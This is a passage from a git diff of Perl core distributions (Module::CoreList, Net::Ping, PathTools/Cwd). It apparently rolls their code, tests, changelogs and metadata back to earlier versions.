'http://github.com/Test-More/test-more/issues', 'Test2::Event::Skip' => 'http://github.com/Test-More/test-more/issues', 'Test2::Event::Subtest' => 'http://github.com/Test-More/test-more/issues', 'Test2::Event::TAP::Version'=> 'http://github.com/Test-More/test-more/issues', - 'Test2::Event::V2' => 'http://github.com/Test-More/test-more/issues', 'Test2::Event::Waiting' => 'http://github.com/Test-More/test-more/issues', - 'Test2::EventFacet' => 'http://github.com/Test-More/test-more/issues', - 'Test2::EventFacet::About'=> 'http://github.com/Test-More/test-more/issues', - 'Test2::EventFacet::Amnesty'=> 'http://github.com/Test-More/test-more/issues', - 'Test2::EventFacet::Assert'=> 'http://github.com/Test-More/test-more/issues', - 'Test2::EventFacet::Control'=> 'http://github.com/Test-More/test-more/issues', - 'Test2::EventFacet::Error'=> 'http://github.com/Test-More/test-more/issues', - 'Test2::EventFacet::Hub'=> 'http://github.com/Test-More/test-more/issues', - 'Test2::EventFacet::Info'=> 'http://github.com/Test-More/test-more/issues', - 'Test2::EventFacet::Meta'=> 'http://github.com/Test-More/test-more/issues', - 'Test2::EventFacet::Parent'=> 'http://github.com/Test-More/test-more/issues', - 'Test2::EventFacet::Plan'=> 'http://github.com/Test-More/test-more/issues', - 'Test2::EventFacet::Render'=> 'http://github.com/Test-More/test-more/issues', - 'Test2::EventFacet::Trace'=> 'http://github.com/Test-More/test-more/issues', 'Test2::Formatter' => 'http://github.com/Test-More/test-more/issues', 'Test2::Formatter::TAP' => 'http://github.com/Test-More/test-more/issues', 'Test2::Hub' => 'http://github.com/Test-More/test-more/issues', @@ -17225,7 +17089,6 @@ sub is_core 'Test2::Tools::Tiny' => 'http://github.com/Test-More/test-more/issues', 'Test2::Util' => 'http://github.com/Test-More/test-more/issues', 'Test2::Util::ExternalMeta'=> 'http://github.com/Test-More/test-more/issues', - 'Test2::Util::Facets2Legacy'=> 'http://github.com/Test-More/test-more/issues', 'Test2::Util::HashBase' => 'http://github.com/Test-More/test-more/issues', 'Test2::Util::Trace' => 'http://github.com/Test-More/test-more/issues', 'Test::Builder' => 'http://github.com/Test-More/test-more/issues', diff --git a/dist/Module-CoreList/lib/Module/CoreList.pod b/dist/Module-CoreList/lib/Module/CoreList.pod index 2b563ff9acfa..0ab1f611d0d7 100644 --- a/dist/Module-CoreList/lib/Module/CoreList.pod +++ b/dist/Module-CoreList/lib/Module/CoreList.pod @@ -172,6 +172,9 @@ the Unicode Character Database bundled with Perl. Available in version 3.00 and above. +C<%Module::CoreList::version> is implemented via C +using this hash of delta changes. + It is a hash of hashes that is keyed on perl version. Each keyed hash will have the following keys: diff --git a/dist/Module-CoreList/lib/Module/CoreList/Utils.pm b/dist/Module-CoreList/lib/Module/CoreList/Utils.pm index 56310c52f918..3cbe00161c2a 100644 --- a/dist/Module-CoreList/lib/Module/CoreList/Utils.pm +++ b/dist/Module-CoreList/lib/Module/CoreList/Utils.pm @@ -2,10 +2,10 @@ package Module::CoreList::Utils; use strict; use warnings; +use vars qw[$VERSION %utilities]; use Module::CoreList; -our $VERSION = '5.20180624'; -our %utilities; +$VERSION = '5.20180414_26'; sub utilities { my $perl = shift; @@ -1368,13 +1368,6 @@ my %delta = ( removed => { } }, - 5.024004 => { - delta_from => 5.024003, - changed => { - }, - removed => { - } - }, 5.026002 => { delta_from => 5.026001, changed => { @@ -1382,27 +1375,6 @@ my %delta = ( removed => { } }, - 5.027011 => { - delta_from => 5.027010, - changed => { - }, - removed => { - } - }, - 5.028000 => { - delta_from => 5.027011, - changed => { - }, - removed => { - } - }, - 5.029000 => { - delta_from => 5.028000, - changed => { - }, - removed => { - } - }, ); %utilities = Module::CoreList::_undelta(\%delta); diff --git a/dist/Module-CoreList/t/find_modules.t b/dist/Module-CoreList/t/find_modules.t index 7f1c408c21f6..112f77f8f466 100644 --- a/dist/Module-CoreList/t/find_modules.t +++ b/dist/Module-CoreList/t/find_modules.t @@ -5,20 +5,20 @@ use Test::More tests => 6; BEGIN { require_ok('Module::CoreList'); } -is_deeply([ Module::CoreList->find_modules(qr/warnings/) ], +is_deeply([ Module::CoreList->find_modules(qr/warnings/) ], [ qw(encoding::warnings warnings warnings::register) ], 'qr/warnings/'); -is_deeply([ Module::CoreList->find_modules(qr/IPC::Open/) ], +is_deeply([ Module::CoreList->find_modules(qr/IPC::Open/) ], [ qw(IPC::Open2 IPC::Open3) ], 'qr/IPC::Open/'); is_deeply([ Module::CoreList->find_modules(qr/Module::/, 5.008008) ], [], 'qr/Module::/ at 5.008008'); -is_deeply([ Module::CoreList->find_modules(qr/Test::H.*::.*s/, 5.006001, 5.007003) ], +is_deeply([ Module::CoreList->find_modules(qr/Test::H.*::.*s/, 5.006001, 5.007003) ], [ qw(Test::Harness::Assert Test::Harness::Straps) ], 'qr/Test::H.*::.*s/ at 5.006001 and 5.007003'); is_deeply([ Module::CoreList::find_modules(qr/Module::CoreList/) ], - [ qw(Module::CoreList Module::CoreList::TieHashDelta Module::CoreList::Utils) ], + [ qw(Module::CoreList Module::CoreList::TieHashDelta Module::CoreList::Utils) ], 'Module::CoreList functional' ); diff --git a/dist/Module-CoreList/t/is_core.t b/dist/Module-CoreList/t/is_core.t index 70f13a83241a..3903703fb8d6 100644 --- a/dist/Module-CoreList/t/is_core.t +++ b/dist/Module-CoreList/t/is_core.t @@ -1,7 +1,7 @@ #!perl -w use strict; use Module::CoreList; -use Test::More tests => 44; +use Test::More tests => 43; BEGIN { require_ok('Module::CoreList'); } @@ -82,6 +82,3 @@ ok(! Module::CoreList->is_core("CGI", undef, 5.021001), "CGI not in 5.021001"); ok( Module::CoreList::is_core("Config", 0, "5.020"), "Config v0+ is in core in 5.020"); ok( Module::CoreList::is_core("Config", undef, "5.020"), "Config v(undef) is in core in 5.020"); - -eval { Module::CoreList::is_core('Config', 'invalid', '5.020'); }; -like( $@, qr/^Invalid version 'invalid' specified\b/, 'invalid version throws'); diff --git a/dist/Module-CoreList/t/maintainer.t b/dist/Module-CoreList/t/maintainer.t deleted file mode 100644 index 1fe707f5e19d..000000000000 --- a/dist/Module-CoreList/t/maintainer.t +++ /dev/null @@ -1,30 +0,0 @@ -use strict; -use warnings; -use Test::More; - -plan skip_all => 'These tests only run in core' - unless $ENV{PERL_CORE}; - -my @mods = qw[ -Module::CoreList -Module::CoreList::Utils -]; - -plan tests => 3 + scalar @mods; - -my %vers; - -foreach my $mod ( @mods ) { - use_ok($mod); - $vers{ $mod->VERSION }++; -} - -is( scalar keys %vers, 1, 'All Module-CoreList modules should have the same $VERSION' ); - -# Check that there is a release entry for the current perl version -my $released = $Module::CoreList::released{ $] }; -# duplicate fetch to avoid 'used only once: possible typo' warning -$released = $Module::CoreList::released{ $] }; - -ok( defined $released, "There is a released entry for $]" ); -like( $released, qr!^\d{4}\-\d{2}\-\d{2}$!, 'It should be a date in YYYY-MM-DD format' ); diff --git a/dist/Net-Ping/Changes b/dist/Net-Ping/Changes index 2da51e7a255a..c4c785ec6156 100644 --- a/dist/Net-Ping/Changes +++ b/dist/Net-Ping/Changes @@ -1,35 +1,5 @@ CHANGES ------- -2.61 Sat Jun 17 13:12:58 CEST 2017 (rurban) - Bugfixes - - Fix ping_udp for a started udp echo server (PR#5 by Stephan Loyd) - -2.60 Mon Jun 12 20:14:13 CEST 2017 (rurban) - Bugfixes - - Fix t/400_ping_syn.t phases - - Try to handle Windows Socket::getnameinfo errors - - Improve some tests on missing network connections - -2.59 Tue Apr 18 08:46:48 2017 +0200 (rurban) - Bugfixes - - skip udp ping tests on more platforms: hpux, irix, aix. - also pingecho on os390. - (from perl5 core) - Features - - added a make release target - -2.58 Wed Feb 1 19:34:03 CET 2017 (rurban) - Features - - return the port num as 5th return value with ack (jfraire) - -2.57 Wed Feb 1 19:34:03 CET 2017 (rurban) - Bugfixes - - Resigned with new gpg key - -2.56 Wed Jan 18 16:00:00 2017 -0700 (bbb) - Bugfixes - - Stabilize tests - 2.55 Thu Oct 20 09:16:06 2016 +0200 (rurban) Bugfixes diff --git a/dist/Net-Ping/lib/Net/Ping.pm b/dist/Net-Ping/lib/Net/Ping.pm index 5aa32429cc16..13cbe81b6adf 100644 --- a/dist/Net-Ping/lib/Net/Ping.pm +++ b/dist/Net-Ping/lib/Net/Ping.pm @@ -4,42 +4,44 @@ require 5.002; require Exporter; use strict; -our $hires; +use vars qw(@ISA @EXPORT @EXPORT_OK $VERSION + $def_timeout $def_proto $def_factor $def_family + $max_datasize $pingstring $hires $source_verify $syn_forking); use Fcntl qw( F_GETFL F_SETFL O_NONBLOCK ); use Socket qw( SOCK_DGRAM SOCK_STREAM SOCK_RAW AF_INET PF_INET IPPROTO_TCP SOL_SOCKET SO_ERROR SO_BROADCAST IPPROTO_IP IP_TOS IP_TTL - inet_ntoa inet_aton getnameinfo sockaddr_in ); + inet_ntoa inet_aton getnameinfo NI_NUMERICHOST sockaddr_in ); use POSIX qw( ENOTCONN ECONNREFUSED ECONNRESET EINPROGRESS EWOULDBLOCK EAGAIN WNOHANG ); use FileHandle; use Carp; use Time::HiRes; -our @ISA = qw(Exporter); -our @EXPORT = qw(pingecho); -our @EXPORT_OK = qw(wakeonlan); -our $VERSION = "2.62"; +@ISA = qw(Exporter); +@EXPORT = qw(pingecho); +@EXPORT_OK = qw(wakeonlan); +$VERSION = "2.55"; # Globals -our $def_timeout = 5; # Default timeout to wait for a reply -our $def_proto = "tcp"; # Default protocol to use for pinging -our $def_factor = 1.2; # Default exponential backoff rate. -our $def_family = AF_INET; # Default family. -our $max_datasize = 1024; # Maximum data bytes in a packet +$def_timeout = 5; # Default timeout to wait for a reply +$def_proto = "tcp"; # Default protocol to use for pinging +$def_factor = 1.2; # Default exponential backoff rate. +$def_family = AF_INET; # Default family. +$max_datasize = 1024; # Maximum data bytes in a packet # The data we exchange with the server for the stream protocol -our $pingstring = "pingschwingping!\n"; -our $source_verify = 1; # Default is to verify source endpoint -our $syn_forking = 0; +$pingstring = "pingschwingping!\n"; +$source_verify = 1; # Default is to verify source endpoint +$syn_forking = 0; # Constants -my $AF_INET6 = eval { Socket::AF_INET6() } || 30; +my $AF_INET6 = eval { Socket::AF_INET6() }; my $AF_UNSPEC = eval { Socket::AF_UNSPEC() }; -my $AI_NUMERICHOST = eval { Socket::AI_NUMERICHOST() } || 4; -my $NI_NUMERICHOST = eval { Socket::NI_NUMERICHOST() } || 2; -my $IPPROTO_IPV6 = eval { Socket::IPPROTO_IPV6() } || 41; +my $AI_NUMERICHOST = eval { Socket::AI_NUMERICHOST() }; +my $NI_NUMERICHOST = eval { Socket::NI_NUMERICHOST() }; +my $IPPROTO_IPV6 = eval { Socket::IPPROTO_IPV6() }; #my $IPV6_HOPLIMIT = eval { Socket::IPV6_HOPLIMIT() }; # ping6 -h 0-255 my $qr_family = qr/^(?:(?:(:?ip)?v?(?:4|6))|${\AF_INET}|$AF_INET6)$/; my $qr_family4 = qr/^(?:(?:(:?ip)?v?4)|${\AF_INET})$/; @@ -616,11 +618,8 @@ sub ping_external { ? ('ip' => $ip->{addr_in}) : ('host' => $ip->{host}); - eval { - local @INC = @INC; - pop @INC if $INC[-1] eq '.'; - require Net::Ping::External; - } or croak('Protocol "external" not supported on your system: Net::Ping::External not found'); + eval { require Net::Ping::External; } + or croak('Protocol "external" not supported on your system: Net::Ping::External not found'); return Net::Ping::External::ping(@addr, timeout => $timeout, family => $family); } @@ -1296,9 +1295,8 @@ sub ping_udp $done = 1; } else { ($from_port, $from_ip) = _unpack_sockaddr_in($from_saddr, $ip->{family}); - my $addr_in = ref($ip) eq "HASH" ? $ip->{addr_in} : $ip; if (!$source_verify || - (($from_ip eq $addr_in) && # Does the packet check out? + (($from_ip eq $ip) && # Does the packet check out? ($from_port == $self->{port_num}) && ($from_msg eq $msg))) { @@ -1381,7 +1379,7 @@ sub ping_syn } } - my $entry = [ $host, $ip, $fh, $start_time, $stop_time, $self->{port_num} ]; + my $entry = [ $host, $ip, $fh, $start_time, $stop_time ]; $self->{syn}->{$fh->fileno} = $entry; if ($self->{stop_time} < $stop_time) { $self->{stop_time} = $stop_time; @@ -1560,7 +1558,7 @@ sub ack } # Everything passed okay, return the answer return wantarray ? - ($entry->[0], &time() - $entry->[3], $self->ntop($entry->[1]), $entry->[5]) + ($entry->[0], &time() - $entry->[3], $self->ntop($entry->[1])) : $entry->[0]; } else { warn "Corrupted SYN entry: unknown fd [$fd] ready!"; @@ -1714,8 +1712,10 @@ sub ntop { # Socket warns when undef is passed in, but it still works. my $port = getservbyname('echo', 'udp'); my $sockaddr = _pack_sockaddr_in($port, $ip); - my ($error, $address) = getnameinfo($sockaddr, $NI_NUMERICHOST); - croak $error if $error; + my ($error, $address) = getnameinfo($sockaddr, NI_NUMERICHOST); + if($error) { + croak $error; + } return $address; } @@ -1854,8 +1854,9 @@ sub _resolv { croak("getnameinfo($getaddr[0]->{addr}) failed - $err"); } } else { - croak(sprintf("getaddrinfo($h{host},,%s) failed - $err", - $family == AF_INET ? "AF_INET" : "AF_INET6")); + my $error = sprintf "getaddrinfo($h{host},,%s) failed - $err", + ($family == AF_INET) ? "AF_INET" : "AF_INET6"; + croak("$error"); } # old way } else { @@ -2241,8 +2242,8 @@ SYN queued using the ping() method. If the timeout is reached before the TCP ACK is received, or if the remote host is not listening on the port attempted, then the TCP connection will not be established and ack() will return -undef. In list context, the host, the ack time, the dotted ip -string, and the port number will be returned instead of just the host. +undef. In list context, the host, the ack time, and the +dotted ip string will be returned instead of just the host. If the optional $host argument is specified, the return value will be pertaining to that host only. This call simply does nothing if you are using any protocol diff --git a/dist/Net-Ping/t/010_pingecho.t b/dist/Net-Ping/t/010_pingecho.t index 90a934a0b104..6516d163e2d1 100644 --- a/dist/Net-Ping/t/010_pingecho.t +++ b/dist/Net-Ping/t/010_pingecho.t @@ -12,7 +12,7 @@ use Test::More tests => 2; BEGIN {use_ok('Net::Ping')}; TODO: { - local $TODO = "Not working on os390 smoker; may be a permissions problem" + local $TODO = "Not working on os390 smoker; may be a prermissions problem" if $^O eq 'os390'; my $result = pingecho("127.0.0.1"); is($result, 1, "pingecho works"); diff --git a/dist/Net-Ping/t/200_ping_tcp.t b/dist/Net-Ping/t/200_ping_tcp.t index a26b2f1b3d3d..8ef4fb78fbc6 100644 --- a/dist/Net-Ping/t/200_ping_tcp.t +++ b/dist/Net-Ping/t/200_ping_tcp.t @@ -28,7 +28,7 @@ BEGIN { # # $ PERL_CORE=1 make test -use Test::More tests => 12; +use Test::More tests => 13; BEGIN {use_ok('Net::Ping');} my $p = new Net::Ping "tcp",9; @@ -50,13 +50,8 @@ is($p->ping("172.29.249.249"), 0, "Can't reach 172.29.249.249"); # Test a few remote servers # Hopefully they are up when the tests are run. -if ($p->ping('google.com')) { # check for firewall - foreach (qw(google.com www.google.com www.wisc.edu - yahoo.com www.yahoo.com www.about.com)) { +foreach (qw(www.geocities.com www.wisc.edu + www.freeservers.com ftp.freeservers.com + yahoo.com www.yahoo.com www.about.com)) { isnt($p->ping($_), 0, "Can ping $_"); - } -} else { - SKIP: { - skip "Cannot ping google.com: no TCP connection or firewall", 6; - } } diff --git a/dist/Net-Ping/t/400_ping_syn.t b/dist/Net-Ping/t/400_ping_syn.t index edad0fc5fca5..e1cfcba2eaf1 100644 --- a/dist/Net-Ping/t/400_ping_syn.t +++ b/dist/Net-Ping/t/400_ping_syn.t @@ -4,7 +4,7 @@ BEGIN { if ($ENV{PERL_CORE}) { unless ($ENV{PERL_TEST_Net_Ping}) { print "1..0 # Skip: network dependent test\n"; - exit; + exit; } } unless (eval "require Socket") { @@ -33,22 +33,25 @@ BEGIN { # $ PERL_CORE=1 make test # Try a few remote servers -my %webs = ( +my %webs; +BEGIN { + %webs = ( # Hopefully this is never a routeable host "172.29.249.249" => 0, # Hopefully all these web ports are open + "www.geocities.com." => 1, "www.freeservers.com." => 1, "yahoo.com." => 1, "www.yahoo.com." => 1, "www.about.com." => 1, "www.microsoft.com." => 1, ); +} -use Test::More; -plan tests => 3 + 2 * keys %webs; +use Test::More tests => 3 + 2 * keys %webs; -use_ok('Net::Ping'); +BEGIN {use_ok('Net::Ping')}; my $can_alarm = eval {alarm 0; 1;}; @@ -70,13 +73,6 @@ isa_ok($p, 'Net::Ping', 'new() worked'); # (Make sure getservbyname works in scalar context.) cmp_ok(($p->{port_num} = getservbyname("http", "tcp")), '>', 0, 'valid port'); -# check if network is up -eval { $p->ping('www.google.com.'); }; -if ($@ =~ /getaddrinfo.*failed/) { - ok(1, "skip $@"); - ok(1, "skip") for 0..12; - exit; -} foreach my $host (keys %webs) { # ping() does dns resolution and # only sends the SYN at this point @@ -84,23 +80,13 @@ foreach my $host (keys %webs) { is($p->ping($host), 1, "Can reach $host [" . ($p->{bad}->{$host} || "") . "]"); } -my $failed; Alarm(20); while (my $host = $p->ack()) { - next if $host eq 'www.google.com.'; - $failed += !is($webs{$host}, 1, "supposed to be up: http://$host/"); + is($webs{$host}, 1, "supposed to be up: http://$host/"); delete $webs{$host}; } Alarm(0); foreach my $host (keys %webs) { - $failed += !is($webs{$host}, 0, - "supposed to be down: http://$host/ [" . ($p->{bad}->{$host} || "") . "]"); -} - -if ($failed) { - diag ("NOTE: ", - "Network connectivity will be required for all tests to pass.\n", - "Firewalls may also cause some tests to fail, so test it ", - "on a clear network."); + is($webs{$host}, 0, "supposed to be down: http://$host/ [" . ($p->{bad}->{$host} || "") . "]"); } diff --git a/dist/Net-Ping/t/410_syn_host.t b/dist/Net-Ping/t/410_syn_host.t index 8e89e32ac8d8..160c7387a0fd 100644 --- a/dist/Net-Ping/t/410_syn_host.t +++ b/dist/Net-Ping/t/410_syn_host.t @@ -41,7 +41,7 @@ BEGIN { "172.29.249.249" => 0, # Hopefully all these web ports are open - "www.google.com." => 1, + "www.geocities.com." => 1, "www.freeservers.com." => 1, "yahoo.com." => 1, "www.yahoo.com." => 1, diff --git a/dist/PathTools/.gitignore b/dist/PathTools/.gitignore deleted file mode 100644 index a87d5167ef43..000000000000 --- a/dist/PathTools/.gitignore +++ /dev/null @@ -1,2 +0,0 @@ -/Cwd.c -/Cwd.bs diff --git a/dist/PathTools/Changes b/dist/PathTools/Changes index 722655285e1d..7d0c1798b8ff 100644 --- a/dist/PathTools/Changes +++ b/dist/PathTools/Changes @@ -1,35 +1,5 @@ Revision history for Perl distribution PathTools. -3.74 -- No changes. - -3.73 -- Define NEED_croak_xs_usage, fixing usage of croak_xs_usage() -- [perl #132853] Add metadata (ABSTRACT, LICENSE, AUTHOR) -- [perl #132733] Skip cwd_enoent test on Cygwin -- [perl #132651] Avoid infinite recursion in _perl_abs_path() -- [rt.cpan.org #114236] Compatibility with File::Path 2.06_04 - -3.72 -- [perl #132648] Correct error returns from fast_abs_path() - -3.71 -- [perl #130818] Remove support for running PathTools on MacOS - and EPOC - -3.70 -- Change strcmp into the easier to read strEQ - -3.69 -- avoid loading modules repeatedly at runtime -- replace 'use vars' by 'our' -- Switch to XSLoader from Dynaloader - -3.68 -- avoid warning from pre-5.8 code for detecting tainted values -- make taint.t detect that a pre-5.8 Perl supports tainting -- avoid a dynamic linking problem on Perl 5.6 - 3.67 - Mon Feb 27 09:33:04 EST 2017 - Add security usage note to File::Spec::no_upwards diff --git a/dist/PathTools/Cwd.pm b/dist/PathTools/Cwd.pm index 58af9352db3a..ce142cfe6909 100644 --- a/dist/PathTools/Cwd.pm +++ b/dist/PathTools/Cwd.pm @@ -1,16 +1,16 @@ package Cwd; use strict; use Exporter; +use vars qw(@ISA @EXPORT @EXPORT_OK $VERSION); - -our $VERSION = '3.74'; +$VERSION = '3.67'; my $xs_version = $VERSION; $VERSION =~ tr/_//d; -our @ISA = qw/ Exporter /; -our @EXPORT = qw(cwd getcwd fastcwd fastgetcwd); +@ISA = qw/ Exporter /; +@EXPORT = qw(cwd getcwd fastcwd fastgetcwd); push @EXPORT, qw(getdcwd) if $^O eq 'MSWin32'; -our @EXPORT_OK = qw(chdir abs_path fast_abs_path realpath fast_realpath); +@EXPORT_OK = qw(chdir abs_path fast_abs_path realpath fast_realpath); # sys_cwd may keep the builtin command @@ -77,9 +77,19 @@ sub _vms_efs { # If loading the XS stuff doesn't work, we can fall back to pure perl -if(! defined &getcwd && defined &DynaLoader::boot_DynaLoader) { # skipped on miniperl - require XSLoader; - XSLoader::load( __PACKAGE__, $xs_version); +if(! defined &getcwd && defined &DynaLoader::boot_DynaLoader) { + eval {#eval is questionable since we are handling potential errors like + #"Cwd object version 3.48 does not match bootstrap parameter 3.50 + #at lib/DynaLoader.pm line 216." by having this eval + if ( $] >= 5.006 ) { + require XSLoader; + XSLoader::load( __PACKAGE__, $xs_version); + } else { + require DynaLoader; + push @ISA, 'DynaLoader'; + __PACKAGE__->bootstrap( $xs_version ); + } + }; } # Big nasty table of function aliases @@ -135,6 +145,23 @@ my %METHOD_MAP = realpath => 'fast_abs_path', }, + epoc => + { + cwd => '_epoc_cwd', + getcwd => '_epoc_cwd', + fastgetcwd => '_epoc_cwd', + fastcwd => '_epoc_cwd', + abs_path => 'fast_abs_path', + }, + + MacOS => + { + getcwd => 'cwd', + fastgetcwd => 'cwd', + fastcwd => 'cwd', + abs_path => 'fast_abs_path', + }, + amigaos => { getcwd => '_backtick_pwd', @@ -227,7 +254,8 @@ unless ($METHOD_MAP{$^O}{cwd} or defined &cwd) { } } - if( $found_pwd_cmd ) + # MacOS has some special magic to make `pwd` work. + if( $os eq 'MacOS' || $found_pwd_cmd ) { *cwd = \&_backtick_pwd; } @@ -356,6 +384,9 @@ sub chdir { if ($^O eq 'VMS') { return $ENV{'PWD'} = $ENV{'DEFAULT'} } + elsif ($^O eq 'MacOS') { + return $ENV{'PWD'} = cwd(); + } elsif ($^O eq 'MSWin32') { $ENV{'PWD'} = $newpwd; return 1; @@ -387,7 +418,8 @@ sub _perl_abs_path unless (@cst = stat( $start )) { - return undef; + _carp("stat($start): $!"); + return ''; } unless (-d _) { @@ -421,14 +453,15 @@ sub _perl_abs_path local *PARENT; unless (opendir(PARENT, $dotdots)) { - return undef; + # probably a permissions issue. Try the native command. + require File::Spec; + return File::Spec->rel2abs( $start, _backtick_pwd() ); } unless (@cst = stat($dotdots)) { - my $e = $!; + _carp("stat($dotdots): $!"); closedir(PARENT); - $! = $e; - return undef; + return ''; } if ($pst[0] == $cst[0] && $pst[1] == $cst[1]) { @@ -440,10 +473,9 @@ sub _perl_abs_path { unless (defined ($dir = readdir(PARENT))) { + _carp("readdir($dotdots): $!"); closedir(PARENT); - require Errno; - $! = Errno::ENOENT(); - return undef; + return ''; } $tst[0] = $pst[0]+1 unless (@tst = lstat("$dotdots/$dir")) } @@ -462,7 +494,6 @@ my $Curdir; sub fast_abs_path { local $ENV{PWD} = $ENV{PWD} || ''; # Guard against clobberage my $cwd = getcwd(); - defined $cwd or return undef; require File::Spec; my $path = @_ ? shift : ($Curdir ||= File::Spec->curdir); @@ -472,9 +503,7 @@ sub fast_abs_path { ($cwd) = $cwd =~ /(.*)/s; unless (-e $path) { - require Errno; - $! = Errno::ENOENT(); - return undef; + _croak("$path: No such file or directory"); } unless (-d _) { @@ -485,7 +514,7 @@ sub fast_abs_path { if (-l $path) { my $link_target = readlink($path); - defined $link_target or return undef; + die "Can't resolve link $path: $!" unless defined $link_target; $link_target = File::Spec->catpath($vol, $dir, $link_target) unless File::Spec->file_name_is_absolute($link_target); @@ -499,7 +528,7 @@ sub fast_abs_path { } if (!CORE::chdir($path)) { - return undef; + _croak("Cannot chdir to $path: $!"); } my $realpath = getcwd(); if (! ((-d $cwd) && (CORE::chdir($cwd)))) { @@ -647,6 +676,11 @@ sub _qnx_abs_path { return $realpath; } +sub _epoc_cwd { + return $ENV{'PWD'} = EPOC::getcwd(); +} + + # Now that all the base-level functions are set up, alias the # user-level functions to the right places @@ -703,8 +737,7 @@ absolute path of the current working directory. my $cwd = getcwd(); -Returns the current working directory. On error returns C, -with C<$!> set to indicate the error. +Returns the current working directory. Exposes the POSIX function getcwd(3) or re-implements it if it's not available. @@ -767,8 +800,7 @@ given they'll use the current working directory. Uses the same algorithm as getcwd(). Symbolic links and relative-path components ("." and "..") are resolved to return the canonical -pathname, just like realpath(3). On error returns C, with C<$!> -set to indicate the error. +pathname, just like realpath(3). =item realpath diff --git a/dist/PathTools/Cwd.xs b/dist/PathTools/Cwd.xs index 2ca8acd6abb5..c6c600b6ae4c 100644 --- a/dist/PathTools/Cwd.xs +++ b/dist/PathTools/Cwd.xs @@ -7,8 +7,6 @@ #include "EXTERN.h" #include "perl.h" #include "XSUB.h" -#define NEED_croak_xs_usage -#define NEED_sv_2pv_flags #define NEED_my_strlcpy #define NEED_my_strlcat #include "ppport.h" @@ -136,9 +134,9 @@ bsd_realpath(const char *path, char resolved[MAXPATHLEN]) } if (next_token[0] == '\0') continue; - else if (strEQ(next_token, ".")) + else if (strcmp(next_token, ".") == 0) continue; - else if (strEQ(next_token, "..")) { + else if (strcmp(next_token, "..") == 0) { /* * Strip the last path component except when we have * single "/" diff --git a/dist/PathTools/MANIFEST b/dist/PathTools/MANIFEST deleted file mode 100644 index 84d5058476bd..000000000000 --- a/dist/PathTools/MANIFEST +++ /dev/null @@ -1,29 +0,0 @@ -Changes -Cwd.pm -Cwd.xs -lib/File/Spec.pm -lib/File/Spec/AmigaOS.pm -lib/File/Spec/Cygwin.pm -lib/File/Spec/Epoc.pm -lib/File/Spec/Functions.pm -lib/File/Spec/Mac.pm -lib/File/Spec/OS2.pm -lib/File/Spec/Unix.pm -lib/File/Spec/VMS.pm -lib/File/Spec/Win32.pm -Makefile.PL -MANIFEST This list of files -META.json -META.yml -ppport.h -t/abs2rel.t -t/crossplatform.t -t/cwd.t -t/cwd_enoent.t -t/Functions.t -t/rel2abs2rel.t -t/Spec-taint.t -t/Spec.t -t/taint.t -t/tmpdir.t -t/win32.t diff --git a/dist/PathTools/META.json b/dist/PathTools/META.json deleted file mode 100644 index ad429a5d32c4..000000000000 --- a/dist/PathTools/META.json +++ /dev/null @@ -1,55 +0,0 @@ -{ - "abstract" : "Tools for working with directory and file names", - "author" : [ - "Perl 5 Porters" - ], - "dynamic_config" : 1, - "generated_by" : "ExtUtils::MakeMaker version 7.24, CPAN::Meta::Converter version 2.150010", - "license" : [ - "perl_5" - ], - "meta-spec" : { - "url" : "http://search.cpan.org/perldoc?CPAN::Meta::Spec", - "version" : "2" - }, - "name" : "PathTools", - "no_index" : { - "directory" : [ - "t", - "inc" - ] - }, - "prereqs" : { - "build" : { - "requires" : { - "ExtUtils::MakeMaker" : "0" - } - }, - "configure" : { - "requires" : { - "ExtUtils::MakeMaker" : "0" - } - }, - "runtime" : { - "requires" : { - "Carp" : "0", - "File::Basename" : "0", - "Scalar::Util" : "0", - "Test::More" : "0.88" - } - } - }, - "release_status" : "stable", - "resources" : { - "bugtracker" : { - "web" : "https://rt.perl.org/rt3/" - }, - "homepage" : "http://dev.perl.org/", - "repository" : { - "type" : "git", - "url" : "git://perl5.git.perl.org/perl.git" - } - }, - "version" : "3.73", - "x_serialization_backend" : "JSON::PP version 2.27400_02" -} diff --git a/dist/PathTools/META.yml b/dist/PathTools/META.yml deleted file mode 100644 index c2adfcfd31c9..000000000000 --- a/dist/PathTools/META.yml +++ /dev/null @@ -1,30 +0,0 @@ ---- -abstract: 'Tools for working with directory and file names' -author: - - 'Perl 5 Porters' -build_requires: - ExtUtils::MakeMaker: '0' -configure_requires: - ExtUtils::MakeMaker: '0' -dynamic_config: 1 -generated_by: 'ExtUtils::MakeMaker version 7.24, CPAN::Meta::Converter version 2.150010' -license: perl -meta-spec: - url: http://module-build.sourceforge.net/META-spec-v1.4.html - version: '1.4' -name: PathTools -no_index: - directory: - - t - - inc -requires: - Carp: '0' - File::Basename: '0' - Scalar::Util: '0' - Test::More: '0.88' -resources: - bugtracker: https://rt.perl.org/rt3/ - homepage: http://dev.perl.org/ - repository: git://perl5.git.perl.org/perl.git -version: '3.73' -x_serialization_backend: 'CPAN::Meta::YAML version 0.018' diff --git a/dist/PathTools/Makefile.PL b/dist/PathTools/Makefile.PL index 11e04af52306..71b9a60d095d 100644 --- a/dist/PathTools/Makefile.PL +++ b/dist/PathTools/Makefile.PL @@ -9,26 +9,11 @@ BEGIN { @INC = grep { $_ ne "blib/arch" and $_ ne "blib/lib" } @INC } require 5.005; use ExtUtils::MakeMaker; - -my @extra; -push @extra, 'LICENSE' => 'perl_5' - unless $ExtUtils::MakeMaker::VERSION < 6.31; -push @extra, 'META_MERGE' => { - resources => { - repository => 'git://perl5.git.perl.org/perl.git', - bugtracker => 'https://rt.perl.org/rt3/', - homepage => "http://dev.perl.org/", - license => [ 'http://dev.perl.org/licenses/' ], - }, - } unless $ExtUtils::MakeMaker::VERSION < 6.46; - WriteMakefile ( 'DISTNAME' => 'PathTools', 'NAME' => 'Cwd', 'VERSION_FROM' => 'Cwd.pm', - 'ABSTRACT' => 'Tools for working with directory and file names', - 'AUTHOR' => 'Perl 5 Porters', 'DEFINE' => join(" ", "-DDOUBLE_SLASHES_SPECIAL=@{[$^O eq q(qnx) || $^O eq q(nto) ? 1 : 0]}", ((grep { $_ eq 'PERL_CORE=1' } @ARGV) ? '-DNO_PPPORT_H' : ()), @@ -42,7 +27,6 @@ WriteMakefile }, ($] > 5.011) ? () : ( INSTALLDIRS => 'perl' ), # CPAN sourced versions should now install to site 'EXE_FILES' => [], - 'PL_FILES' => {}, - @extra, + 'PL_FILES' => {} ) ; diff --git a/dist/PathTools/lib/File/Spec.pm b/dist/PathTools/lib/File/Spec.pm index 85327ee0da30..a9a761947010 100644 --- a/dist/PathTools/lib/File/Spec.pm +++ b/dist/PathTools/lib/File/Spec.pm @@ -1,14 +1,16 @@ package File::Spec; use strict; +use vars qw(@ISA $VERSION); -our $VERSION = 